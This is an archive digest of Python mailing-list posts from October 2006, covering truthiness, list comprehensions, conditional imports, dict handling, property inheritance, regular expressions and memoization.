	<slrnek4jj4.2e3.apardon@rcpc42.vub.ac.be>
	<ehu42d$jff$1@chiara.aioe.org>
	<mailman.1386.1162001801.11739.python-list@python.org>
	<pan.2006.10.28.06.28.46.427735@REMOVE.THIS.cybersource.com.au>
Message-ID: <ei0ih8$2pq$1@chiara.aioe.org>

Steven D'Aprano wrote:
> On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote:
 >
>>> Finally, while True/False is a good mental mapping for numeric 
>>> comparisons, take the following:
>>>
>>>  >>> if "Cliff is a pillar of the open source community":
>>> ....	print "thank you"
>>> .... else:
>>> ....	print "bugger off"
>>>
>>> bugger off
>>>

First off, even though nobody has called me on it, this example really 
prints "thank you", not "bugger off".  I got confused in my cutting and 
pasting.  Sorry about that.


>>> Clearly this is not true.  (Google Cliff/Dyer open source: only 11 
>>> hits.), but the string is *something* so the if block gets evaluated.
>>>
>>   >>> if "The above example was bollocks":
>>   ...   print "You don't know what you are talking about"
>>   ... else:
>>   ...   print "Sorry: of course you are perfectly correct"
>>   ...
>> You don't know what you are talking about
> 
> Cliff is making a point about semantics, and he's absolutely correct about
> it, although it is irrelevant since we're talking about two-value logic
> not semantics.
> 
> 
> 
> 

Thank you for the clarification Steven (D'Aprano).  To a certain level, 
I agree that semantics are important.  I hesitated about including that 
example in my post to begin with.  However, my point, and hopefully I'll 
be able to make it more clearly now, was that true/false is a useful way 
to think regarding logical statements like x == 3, but that when you are 
dealing with strings, or more accurately strings that represent 
language, you really aren't talking about truth any more, because in 
that context, truth cannot be divorced from semantics--somethingness, on 
the other hand, can.

Conceptually, you have to go through "'something' is true, and 'nothing' 
is false" before it makes sense.

On the other hand, (to play devil's advocate for a moment), when you are 
dealing with comparison operators, you have to go through "true 
statements yield something and false statements yield nothing" before it 
makes sense, or rather "yield a nothing value."  So either way you think 
about it, you have to, in some cases, mentally convert from truthiness 
to somethingness or vice versa.  I don't find it as odious to mentally 
convert the comparison operators as I do the declarative statements.  I 
don't think it's just a personal preference either, because that way 
your mental processes are in sync with the way python works.  It 
evaluates if the statement is true and yields a something value, and a 
nothing value if it's false.  You are working with the Tao of Python, if 
you'll forgive the analogy.  However thinking in terms of truth and then 
saying that all statements that exist are true works, but runs counter 
to what is going on behind the scenes.

Or maybe it doesn't, if everything's getting converted implicitly to 
bool anyway.  Maybe it is just personal preference after all.  But then 
bools are assigned "something" and "nothing" values....

This stuff is tricky, but I'm enjoying trying to wrap my mind around it, 
and appreciating the comments and critiques.

Cheers,
Cliff


From tim at tdw.net  Tue Oct  3 14:46:40 2006
From: tim at tdw.net (Tim Williams)
Date: Tue, 3 Oct 2006 19:46:40 +0100
Subject: Looping over a list question
In-Reply-To: <W53996344.646.4717.1@mx-extra>
References: <W53996344.646.4717.1@mx-extra>
Message-ID: <9afea2ac0610031146o79e0fcc8yc6665447ff10656b@mail.gmail.com>

On 3 Oct 2006 10:50:04 -0700, stephen at theboulets.net
<stephen at theboulets.net> wrote:
> I found myself writing:
>
> for f in [i for i in datafiles if '.txt' in i]:
>     print 'Processing datafile %s' % f
>
> but I was wishing that I could have instead written:
>
> for f in in datafiles if '.txt' in f:
>     print 'Processing datafile %s' % f
>
> Has there ever been a proposal for this? Just wondering ...
>

Maybe

>>> def myfunc(txt):
... 	print txt
... 	
>>> datafiles = ['1.txt','2.txt','3.txt','4.tst']
>>> null = [myfunc(i) for i in datafiles if '.txt' in i]
1.txt
2.txt
3.txt
>>>


From onurb at xiludom.gro  Wed Oct 11 04:46:48 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 10:46:48 +0200
Subject: Python component model
In-Reply-To: <eghai4$615$1@online.de>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
Message-ID: <452caf79$0$24783$426a74cc@news.free.fr>

Peter Maas wrote:
> Bruno Desthuilliers schrieb:
>> Marc 'BlackJack' Rintsch wrote:
>> (snip)
>>   Python itself is a RAD tool.
>>
>> +1 QOTW
> 
> No, please stop self-assuring, self-pleasing QOTWs! 

Certainly not !-)

(snip)

> I for my part would be happy to see a Delphi-like RAD tool for Python,

Look for boa-constructor then.

> a reference implementation for web programming as part of the standard
> library, 

wsgiref is part of the 2.5 stdlib.



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From mxywp at 126.com  Sun Oct 22 01:16:36 2006
From: mxywp at 126.com (mxywp)
Date: Sun, 22 Oct 2006 13:16:36 +0800 (CST)
Subject: question: script to input data into a web
	page and then retrieve the result?
Message-ID: <453AFEB4.00000B.26189@bj126app30.126.com>

 Hi,

Could someone help me with this or share an example script with me?

Here is what I want to accomplish:
(1) input 3 values into 3 boxes on a web page
(2) there is an authentication code each time you access this page and I have to write this code into the fourth box on the same page
(3) click "submit" button
(4) this web page will turn into a page with a table having a value calculated from my inputs
(5) extract this value into a local file
(6) repeat the above for 12000 times.

I would really appreciate it if someone can tell me how to do it using python script. I am new to python web programming.

Thanks,
mxywp
   
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From jonas.esp at googlemail.com  Sat Oct 28 06:33:27 2006
From: jonas.esp at googlemail.com (MindClass)
Date: 28 Oct 2006 03:33:27 -0700
Subject: Import if condition is correct
Message-ID: <1162031606.988480.131330@k70g2000cwa.googlegroups.com>

Is possible import a library according to a condition?

if Foo = True:
    import bar



From fredrik at pythonware.com  Sat Oct 28 11:29:34 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sat, 28 Oct 2006 17:29:34 +0200
Subject: Python crashed when importing SOAPpy, printing out 'usage:copy
	source destination'
In-Reply-To: <1162048580.109664.80120@f16g2000cwb.googlegroups.com>
References: <1162026431.149026.215510@h48g2000cwc.googlegroups.com>	<mailman.1396.1162027206.11739.python-list@python.org>
	<1162048580.109664.80120@f16g2000cwb.googlegroups.com>
Message-ID: <ehvt0u$e61$1@sea.gmane.org>

jiang.haiyun at gmail.com wrote:

> I still can't understand it. If i rename the 'copy.py' to 'a.py',
> there will be no problem.

hint: when it works, try typing the following into the interpreter:

     >>> import copy
     >>> copy.__file__

</F>



From no-spam at no-spam-no-spam.com  Sat Oct 28 08:04:56 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 28 Oct 2006 14:04:56 +0200
Subject: what are the most frequently used functions?
In-Reply-To: <ghH0h.91$pU3.67@trndny08>
References: <1162020254.660829.124900@e3g2000cwe.googlegroups.com>
	<ehvevg$614$1@news.albasani.net> <ghH0h.91$pU3.67@trndny08>
Message-ID: <ehvh1b$8q8$1@news.albasani.net>

J?rgen Exner wrote:
>> Xah Lee wrote:
>>> I had a idea today.
> 
> Oh, really? You should mark your calendar and celebrate the day annually!!!
> 
>>> I wanted to know what are the top most frequently used functions in
>>> the emacs lisp language.
> 
> And the relationship with Perl, Python, Java is exactly what?

read more of the context and answer to the OP


From __peter__ at web.de  Mon Oct 30 07:40:51 2006
From: __peter__ at web.de (Peter Otten)
Date: Mon, 30 Oct 2006 13:40:51 +0100
Subject: dict problem
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>	<87y7r4mwso.fsf@benfinney.id.au>	<453F5401.3020607@helsinki.fi>	<87pscgmrp1.fsf@benfinney.id.au>
	<4545D637.6000205@helsinki.fi> <ei4l99$7tb$1@sea.gmane.org>
	<mailman.1485.1162210373.11739.python-list@python.org>
Message-ID: <ei4rsi$r86$02$1@news.t-online.com>

Alistair King wrote:

> the code works great now. I know these things are quite simple to learn
> from books etc.. but i would be lost without this mailinglist, from lack
> of time. Hopefully soon i can give something more complicated.
> I ended up doing the dictionary formatting properly and the new code is:

> heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest
> atom for which you obtained percentage values for, but not Oxygen or
> Hydrogen, ie, 'C', 'N', 'S', 'Br'...: ")
> 
> def updateDS1v(Fxas, x):
> if Fxas !=0 and DS1v.get(x)!=None:
> value = DSvalues.get(heavy)
> floatvalue = float(value)
> atoms = DS1v.get(x) + Fxas*floatvalue
> else:
> value = DSvalues.get(heavy)
> floatvalue = float(value)
> DS1v[x] = Fxas*floatvalue
> 
> updateDS1v(FCas, 'C')
> updateDS1v(FHas, 'H')
> updateDS1v(FOas, 'O')
> updateDS1v(FNas, 'N')
> updateDS1v(FSas, 'S')
> updateDS1v(FClas, 'Cl')
> updateDS1v(FBras, 'Br')
> updateDS1v(FZnas, 'Zn')

> it works perfectly now

Probably not. Have you manually verified the result with more than one
example? Where does 'heavy' come from? Is that black hole 'atoms'
intentional? 

# I'm just guessing here
for k, v in DSvalues.iteritems():
    DSvalues[k] = float(v)

def updateDS1v(Fxas, x):
    DS1v[x] = DS1v.get(x, 0) + Fxas*DSvalues[x]

Peter


From horpner at yahoo.com  Fri Oct  6 21:27:44 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Sat, 07 Oct 2006 01:27:44 GMT
Subject: Names changed to protect the guilty
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
Message-ID: <koDVg.5034$5i7.866@newsreading01.news.tds.net>

On 2006-10-07, MonkeeSage <MonkeeSage at gmail.com> wrote:
>
>
> On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote:
>> The following line of lightly munged code was found in a
>> publicly available Python library...
>
> Yes, this violates the Holy, Inspired, Infallible Style Guide
> (pbuh), which was written by the very finger of God when the
> world was still in chaotic darkness. But I guess I'm an atheist
> when it comes to PEP 8. If it is clearer to you to make the
> condition explicit ("blah not False"), rather than implicit
> ("not blah"), then use the former. I say write the code the way
> *you* (and your team if applicable) are best able to read,
> write and maintain it. Then when other people tell you that it
> isn't good style, or isn't "pythonic," just stab them in the
> face with soldering iron ala Chris Walken. :)

I agree on both points. It's a style issue, and that hidden tests
(taking advantage of how certain objects convert to boolian
values) is harder to read.

-- 
Neil Cerutti


From mcPas.De.Spam at mclaveauPas.De.Spam.com  Sat Oct 28 13:35:38 2006
From: mcPas.De.Spam at mclaveauPas.De.Spam.com (Michel Claveau)
Date: Sat, 28 Oct 2006 19:35:38 +0200
Subject: Where is __builtin__
References: <1162050359.184999.259580@b28g2000cwb.googlegroups.com>
	<mailman.1408.1162050843.11739.python-list@python.org>
Message-ID: <mn.e4977d6a397d97ea.34209@mclaveauPas.De.Spam.com>

Hi!

>> http://www.effbot.org/pyfaq/where-is-the-math-py-socket-py-regex-py-etc-source-file.htm

Yeaaahh!!!    Finally a genuine URL    ;o)



-- 
@-salutations

Michel Claveau




From utabintarbo at gmail.com  Tue Oct 31 16:13:20 2006
From: utabintarbo at gmail.com (utabintarbo)
Date: 31 Oct 2006 13:13:20 -0800
Subject: best way to check if a file exists?
In-Reply-To: <EQO1h.213$1n3.4609@news.tufts.edu>
References: <EQO1h.213$1n3.4609@news.tufts.edu>
Message-ID: <1162329200.558318.101950@k70g2000cwa.googlegroups.com>


John Salerno wrote:
> What is the best way to check if a file already exists in the current
> directory? I saw os.path.isfile(), but I'm not sure if that does more
> than what I need.
>
> I just want to check if a file of a certain name exists before the user
> creates a new file of that name.
> 
> Thanks.

os.path.exists()?



From casevh at comcast.net  Sun Oct 22 00:39:51 2006
From: casevh at comcast.net (casevh at comcast.net)
Date: 21 Oct 2006 21:39:51 -0700
Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ?
In-Reply-To: <mailman.915.1161491089.11739.python-list@python.org>
References: <mailman.915.1161491089.11739.python-list@python.org>
Message-ID: <1161491991.010112.65630@k70g2000cwa.googlegroups.com>


Kenneth Long wrote:
> > 	Okay if one builds such from sources... but us poor
> > Windows flunkies
> > without a build environment have to wait for some
> > kindly soul to build
> > the installer compatible with the new Python
> > version.
> >
> especially since I havent got MS visual studio...
> and mingw is not supported... :-(

mingw32 is supported and can compile many extensions. See the following
post:

http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9

If you meant something else with your comment, please explain.

casevh



From robert.kern at gmail.com  Fri Oct 20 18:57:50 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Fri, 20 Oct 2006 17:57:50 -0500
Subject: Inheriting property functions
In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
Message-ID: <ehbk9g$jhq$1@sea.gmane.org>

Dustan wrote:
> Looking at this interactive session:
> 
>>>> class A(object):
> 	def __init__(self, a):
> 		self.a = a
> 	def get_a(self): return self.__a
> 	def set_a(self, new_a): self.__a = new_a
> 	a = property(get_a, set_a)
> 
> 
>>>> class B(A):
> 	b = property(get_a, set_a)
> 
> 
> Traceback (most recent call last):
>   File "<pyshell#11>", line 1, in <module>
>     class B(A):
>   File "<pyshell#11>", line 2, in B
>     b = property(get_a, set_a)
> NameError: name 'get_a' is not defined
>>>> class B(A):
> 	b = a
> 
> 
> Traceback (most recent call last):
>   File "<pyshell#13>", line 1, in <module>
>     class B(A):
>   File "<pyshell#13>", line 2, in B
>     b = a
> NameError: name 'a' is not defined
> 
> B isn't recognizing its inheritence of A's methods get_a and set_a
> during creation.

Inheritance really doesn't work that way. The code in the class suite gets 
executed in its own namespace that doesn't know anything about inheritance. The 
inheritance rules operate in attribute access on the class object later.

Try this:

   class B(A):
     b = property(A.get_a, A.set_a)

or this:

   class B(A):
     b = A.a

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From fredrik at pythonware.com  Tue Oct 10 12:22:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 18:22:47 +0200
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160455280.118212.202770@b28g2000cwb.googlegroups.com>
References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>	<pan.2006.10.08.10.57.45.461044@REMOVE.THIS.cybersource.com.au>	<1160332330.684420.276560@e3g2000cwe.googlegroups.com>	<mailman.61.1160333064.11739.python-list@python.org>	<1160335473.625244.261640@m7g2000cwm.googlegroups.com>	<mailman.76.1160338331.11739.python-list@python.org>	<1160345922.051578.146630@i3g2000cwc.googlegroups.com>	<mailman.97.1160379058.11739.python-list@python.org>	<sBvWg.9232$o71.985@newsread3.news.pas.earthlink.net>
	<1160455280.118212.202770@b28g2000cwb.googlegroups.com>
Message-ID: <egghco$8ie$1@sea.gmane.org>

MonkeeSage wrote:

> In Libs/site.py, lines 302-306:
> 
>             try:
>                 for i in range(lineno, lineno + self.MAXLINES):
>                     print self.__lines[i]
>             except IndexError:
>                 break
> 
> With my proposal, that could be written as:
> 
>             for i in range(lineno, lineno + self.MAXLINES):
>                 if self.__lines.has_index(i):
>                     print self.__lines[i]
>                 else:
>                     break
> 
> Granted, in this particular case the amount of code is not reduced, but
> (and I would hope you'd agree) the control flow is certainly easier to
> follow.

so to "improve" a piece of code that's been optimized for the common 
case, you're adding an extra method call and a test to the inner loop?

and this because you think Python programmers don't understand try-
except statements ?

I think we can all safely ignore you now.

</F>



From icetortoise at gmail.com  Mon Oct 16 03:19:17 2006
From: icetortoise at gmail.com (Andy)
Date: 16 Oct 2006 00:19:17 -0700
Subject: command text parsing and hints displaying on user input.
Message-ID: <1160983157.270102.68630@m73g2000cwd.googlegroups.com>

Hi guys,

I'm writing a program with a feature of accepting user input as command
text and parsing it to correct function calls...example:

"5 minutes later"/"5 min later"/"5 minute later"/"after 5 minutes"...
are being parsed as the same rule so the system will call a later
function with minutes=5 as parameter.

Of course there are many other possiblilities, "seconds"/"days", and
even "every(each) hour"/"every Monday"/"every two days"...so on...

The datetime computation can be done with the wonderful "dateutil"
package, but I'm not sure with the command text parsing part. I could
do a lot of regular expression, but it'll be great if there is already
something similar available...or even a hint that can make it easier
than hand-writing a lot of regular expression code...

Another requirment is to display useful hints when user input the
command text. Example:

user input:"5" -> hints: "5 minutes later/5 hours later/5 days
later/every 5 minutes"
user input:"fi" -> hints: "next Friday"/"first thing tommorrow"
user input:"ne" -> hints: "next day"/"next hour"/"next week"/"next
month"

Sounds too intelligent to do? Any advices on this?

Thanks guys.

Andy



From hpsekhon at googlemail.com  Wed Oct  4 04:54:59 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Wed, 04 Oct 2006 09:54:59 +0100
Subject: Best way to handle large lists?
In-Reply-To: <efuced$10f$1@sea.gmane.org>
References: <prrUg.1662$We.477@trndny08>	<jwjw-E75E09.09362703102006@news.isp.giganews.com>	<slrnei4r1t.d5n.sybrenUSE@schuimige.stuvel.eu>	<7xodst3337.fsf@ruckus.brouhaha.com>	<45227982.4060808@hotmail.com>	<efttv2$9p6$1@gemini.csx.cam.ac.uk>	<45228F2E.4010409@googlemail.com>
	<efuced$10f$1@sea.gmane.org>
Message-ID: <452376E3.2080201@googlemail.com>

So are you saying that using a dict means a faster search since you only 
need to look up one value?

I would think that you would have to look through the keys and stop at 
the first key that matches since each key has to be uniq, so perhaps if 
it is nearer the front of the set of keys then perhaps it would be a 
quicker lookup?

On the other hand, if it is nearer the end of the set of keys would it 
not be slower?

Does this make it more dependent on the search order whether a list or a 
dict is faster? Or am I completely on the wrong track?

-h

Hari Sekhon



Fredrik Lundh wrote:
> Hari Sekhon wrote:
>
>   
>> That is surprising since I read on this list recently that lists were 
>> faster than dicts
>>     
>
> depends on what you're doing with them, of course.
>
>   
>> It was one reason that was cited as to why local vars are better than
>>     
>  > global vars.
>
> L[int] is indeed a bit faster than D[string] (but not much), but that 
> doesn't mean that you can loop over *all* items in a list faster than 
> you can look up a single key in a dictionary.
>
> </F>
>
>   
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URL: <http://mail.python.org/pipermail/python-list/attachments/20061004/a6c91649/attachment.html>

From dale at riverhall.nospam.co.uk  Wed Oct 25 15:08:57 2006
From: dale at riverhall.nospam.co.uk (Dale Strickland-Clark)
Date: Wed, 25 Oct 2006 20:08:57 +0100
Subject: Python's CRT licensing on Windows
References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com>
Message-ID: <dDO%g.63203$Tu2.32809@fe21.usenetserver.com>

To paraphrase an applicant for a job vacancy we're currently filling when
asked to give an example of their problem solving skills:

A client had a problem with Windows XP on his laptop. I reformatted his hard
disk and installed Red Hat. Problem solved.

-- 
Dale Strickland-Clark
Riverhall Systems - www.riverhall.co.uk



From onurb at xiludom.gro  Wed Oct 11 11:35:23 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Wed, 11 Oct 2006 17:35:23 +0200
Subject: sufficiently pythonic code for testing type of function
In-Reply-To: <slrneiq1fr.fm8.hat@se-126.se.wtb.tue.nl>
References: <mailman.259.1160543174.11739.python-list@python.org>
	<452cab5d$0$5294$426a74cc@news.free.fr>
	<slrneiq1fr.fm8.hat@se-126.se.wtb.tue.nl>
Message-ID: <452d0f3c$0$31382$426a34cc@news.free.fr>

A.T.Hofkamp wrote:
> On 2006-10-11, Bruno Desthuilliers <onurb at xiludom.gro> wrote:
>> Now the real question : what if the object is not an instance of any of
>> the types, but still support the expected interface ?
>>
> 
> one possible answer: Use ZopeInterfaces
> (and ask objects 'do you implement interface X' rather than 'are you type Y')
> 
> Not sure what options you have when dealing with builtin data types however.

This was mostly a rethorical question...


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From ptmcg at austin.rr._bogus_.com  Thu Oct 12 10:18:45 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 12 Oct 2006 14:18:45 GMT
Subject: Standard Forth versus Python: a case study
References: <oMSdnejEoa3By7DYnZ2dnUVZ_v2dnZ2d@wispertel.com><7x3b9u376m.fsf@ruckus.brouhaha.com><Z46dnTJWqdH0wLDYnZ2dnUVZ_sOdnZ2d@wispertel.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><l2jXg.63366$5o5.46778@tornado.texas.rr.com><1160652722.908731.213650@i42g2000cwa.googlegroups.com><sJrXg.46560$DU3.23285@tornado.texas.rr.com>
	<mailman.379.1160661911.11739.python-list@python.org>
Message-ID: <99sXg.46566$DU3.34786@tornado.texas.rr.com>


"Fredrik Lundh" <fredrik at pythonware.com> wrote in message 
news:mailman.379.1160661911.11739.python-list at python.org...
> Paul McGuire wrote:
>
>> My original question was in response to your post, that sort() wasn't 
>> required but only a temp variable.  I am very interested in seeing your 
>> solution that does not require the data to be sorted.  (This is not just 
>> an academic exercise - given a large historical data set, sorting the 
>> data is one of the costliest parts of computing the median, and I would 
>> greatly appreciate seeing an alternative algorithm.)
>
> if you absolutely definitely cannot afford to modify or copy the input 
> data set, but can
> read the data sequentially multiple times reasonably fast, you can do 
> what's basically a
> binary search for the median, by counting how many values you have that's 
> above or
> below the current guess, and repeating until you find the right value. 
> see e.g.
>
>    http://ndevilla.free.fr/median/median/src/torben.c
>
> </F>

Thanks!

-- Paul




From harvey.thomas at informa.com  Fri Oct 13 07:44:26 2006
From: harvey.thomas at informa.com (harvey.thomas at informa.com)
Date: 13 Oct 2006 04:44:26 -0700
Subject: Need a Regular expression to remove a char for Unicode text
References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com>
Message-ID: <1160739866.224070.252590@m73g2000cwd.googlegroups.com>


????????? wrote:
> Hai friends,
> Can any one tell me how can i remove a character from a unocode text.
> ????&??? is a Telugu word in Unicode. Here i want to
> remove '&' but not replace with a zero width char. And one more thing,
> if any whitespaces are there before and after '&' char, the text should
> be kept as it is. Please tell me how can i workout this with regular
> expressions.
>
> Thanks and regards
> Srinivasa Raju Datla

Don't know anything about Telugu, but is this the approach you want?

>>> x=u'\xfe\xff & \xfe\xff \xfe\xff&\xfe\xff'
>>> noampre = re.compile('(?<!\s)&(?!\s)', re.UNICODE).sub
>>> noampre('', x)
u'\xfe\xff & \xfe\xff \xfe\xff\xfe\xff'

The regular expression has negative look behind and look ahead
assertions to check that there is no whitespace surrounding the '&'
character. Each match then found is then  replaced with the empty string



From rpdooling at gmail.com  Fri Oct 20 16:06:58 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 20 Oct 2006 13:06:58 -0700
Subject: curious paramstyle qmark behavior
Message-ID: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>

With

aColumn = "Topics.Topic1"'

The first statement "works" in the sense that it finds a number of
matching rows.

c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",))

I've tried about 20 different variations on this next one. And it finds
0 records no matter what I do. Is there some violation when I use two
qmarks?

c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%"))

I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB.

Thank you,

rd



From cjw at sympatico.ca  Fri Oct 27 08:32:28 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Fri, 27 Oct 2006 08:32:28 -0400
Subject: Using classes in python
In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com>
Message-ID: <ehsu8u$nr4$1@sea.gmane.org>

trevor lock wrote:
> Hello,
> 
> I've just started using python and have observed the following :
> 
> class foo:
>     a=[]
>     def __init__(self, val):
>             self.a.append ( val )
>     def getA(self):
>             print self.a
>             return self.a
> 
> z = foo(5)
> y = foo(4)
> z.getA()
>  >> [5, 4]
> 
> I was expecting that everytime I created an instance of the class that a 
> unique dictionary was also created, however it seems that only one 
> dictionary is created.
> 
> How can I create a new dictionary for each instance?
You do already, as the little script below illustrates:

# checkInstance.py

class A(object):
   def __new__(cls, n):
     return object.__new__(cls)
   def __init__(self, n):
     self.a= n


a1= A(21)
a2= A(22)
print a1.a, a2.a, a1.__dict__ is a2.__dict__

Colin W.
> 
> Thanks,
> Trevor.
> 
> ------------------------------------------------------------------------
> All-new Yahoo! Mail 
> <http://us.rd.yahoo.com/evt=43256/*http://advision.webevents.yahoo.com/mailbeta>- 
> Fire up a more powerful email and get things done faster.
> 



From eric_brunel at despammed.com  Wed Oct  4 11:57:35 2006
From: eric_brunel at despammed.com (Eric Brunel)
Date: Wed, 04 Oct 2006 17:57:35 +0200
Subject: Python/Tkinter crash.
References: <mailman.1242.1159951684.10491.python-list@python.org>
Message-ID: <op.tgwml9x1rqur0o@eb.pragmadev>

On Wed, 04 Oct 2006 10:33:55 +0200, Hendrik van Rooyen  
<mail at microcorp.co.za> wrote:

> Hi,
>
> I get the following:
>
> hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> UpdateStringProc should not be invoked for type font
> Aborted
>
> and I am back at the bash prompt - this is most frustrating, as there is  
> no
> friendly traceback to help me guess where its coming from.
>
> And what is worse, the script runs for a varying time before it simply  
> exits
> like this.
>
> What can I do to dig deeper to try to find a clue? - I don't even know  
> if its
> Python, Tkinter or Linux...

Neither of them: it's a tcl problem. The message you get is in the file  
generic/tclObj.c in the tcl source directory.

I know the problem happens sometimes on one of my Tkinter applications,  
but I never succeeded in reproducing it systematically. I've browsed the  
tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If  
you are, I'm interested in any hint you can find.
-- 
python -c "print ''.join([chr(154 - ord(c)) for c in  
'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])"


From rtw at freenet.co.uk  Mon Oct 30 05:21:59 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Mon, 30 Oct 2006 04:21:59 -0600
Subject: Where do nested functions live?
References: <4qhf11Fn4g9fU1@uni-berlin.de>
	<mailman.1428.1162113628.11739.python-list@python.org>
Message-ID: <Xns986C693B37DFDrtwfreenetREMOVEcouk@216.196.109.145>

Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python-
list at python.org in comp.lang.python:

>    def increment_time (interval_ms):
>       outer weeks, days, hours, minutes, seconds, mseconds   # 'outer' 
> akin to 'global'
>       (...)
>       mseconds = new_ms - s * 1000        # Assignee remains outer
>       m, seconds = divmod (s, 60)
>       h, minutes = divmod (m, 60)
>       d, hours = divmod (h, 24)
>       weeks, days = divmod (d, 7)         # No return necessary
> 
> The call would now be:
> 
>    increment_time (msec)                  # No reassignment necessary
> 
> 
> Hope this makes sense

Yes it does, but I prefer explicit in this case:

def whatever( new_ms ):
  class namespace( object ):
    pass
  scope = namespace()

  def inner():
    scope.mseconds = new_ms - s * 1000       
    m, scope.seconds = divmod (s, 60)
    h, scope.minutes = divmod (m, 60)
    d, scope.hours = divmod (h, 24)
    scope.weeks, scope.days = divmod (d, 7)        

The only thing I find anoying is that I can't write:

  scope = object()
 
Additionally if appropriate I can refactor further:

def whatever( new_ms ):
  class namespace( object ):
    def inner( scope ):
      scope.mseconds = new_ms - s * 1000       
      m, scope.seconds = divmod (s, 60)
      h, scope.minutes = divmod (m, 60)
      d, scope.hours = divmod (h, 24)
      scope.weeks, scope.days = divmod (d, 7)    

  scope = namespace()
  scope.inner()

In short I think an "outer" keyword (or whatever it gets called)
will just add another way of doing something I can already do,
and potentially makes further refactoring harder.

Thats -2 import-this points already.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From no-spam at no-spam-no-spam.com  Thu Oct 26 16:18:08 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 22:18:08 +0200
Subject: conditional computation
In-Reply-To: <mailman.1292.1161892930.11739.python-list@python.org>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<mailman.1292.1161892930.11739.python-list@python.org>
Message-ID: <ehr562$251c$1@ulysses.news.tiscali.de>

Gabriel Genellina wrote:
> At Thursday 26/10/2006 16:30, robert wrote:
> 
>> I want to use a computation cache scheme like
>>
>>
>>         o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr
>>
>>
>> frequently and elegantly without writing complex-key-expr or 
>> expensive-calc-expr twice.
>> So its ugly:
>>
>>         _=complex-key-expr; o=cache.get(_) or 
>> cache.setdefault(_,expensive-calc-expr)
>>
>> Any ideas?
> 
> The memoize pattern can help; in 
> http://wiki.python.org/moin/PythonDecoratorLibrary you can see an 
> implementation using decorators.
> 


thanks, as such it will not help hooking single line expressions, but it helped me remember the lambda ! :shame: :


class MemoCache(dict): # cache expensive Objects during a session (memory only)
    def memo(self, k, f):
        try: return self[k]
        except IndexError:
            return self.setdefault(k, f())
cache=MemoCache()
...

o = cache.memo( complex-key-expr, lambda: expensive-calc-expr )



Thats pythonic now.

-robert


From bignose+hates-spam at benfinney.id.au  Mon Oct 30 20:59:26 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 31 Oct 2006 12:59:26 +1100
Subject: enumerate improvement proposal
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
	<mailman.1435.1162124420.11739.python-list@python.org>
	<Jb11h.17572$TV3.6879@newssvr21.news.prodigy.com>
	<mailman.1437.1162125524.11739.python-list@python.org>
	<TDb1h.17175$GR.940@newssvr29.news.prodigy.net>
	<4qn37kFmc3q0U1@uni-berlin.de>
	<tQv1h.25456$7I1.21803@newssvr27.news.prodigy.net>
	<mailman.1510.1162251707.11739.python-list@python.org>
	<MWw1h.2703$s6.1623@newssvr11.news.prodigy.com>
	<4546A43D.4080302@advantest-ard.com>
Message-ID: <87odrt6y9t.fsf@benfinney.id.au>

Mark Elston <m.elston at advantest-ard.com> writes:

> * James Stroud wrote (on 10/30/2006 4:39 PM):
> > She's the only other person I've ever met who used vi key binding
> > at the command line.
>
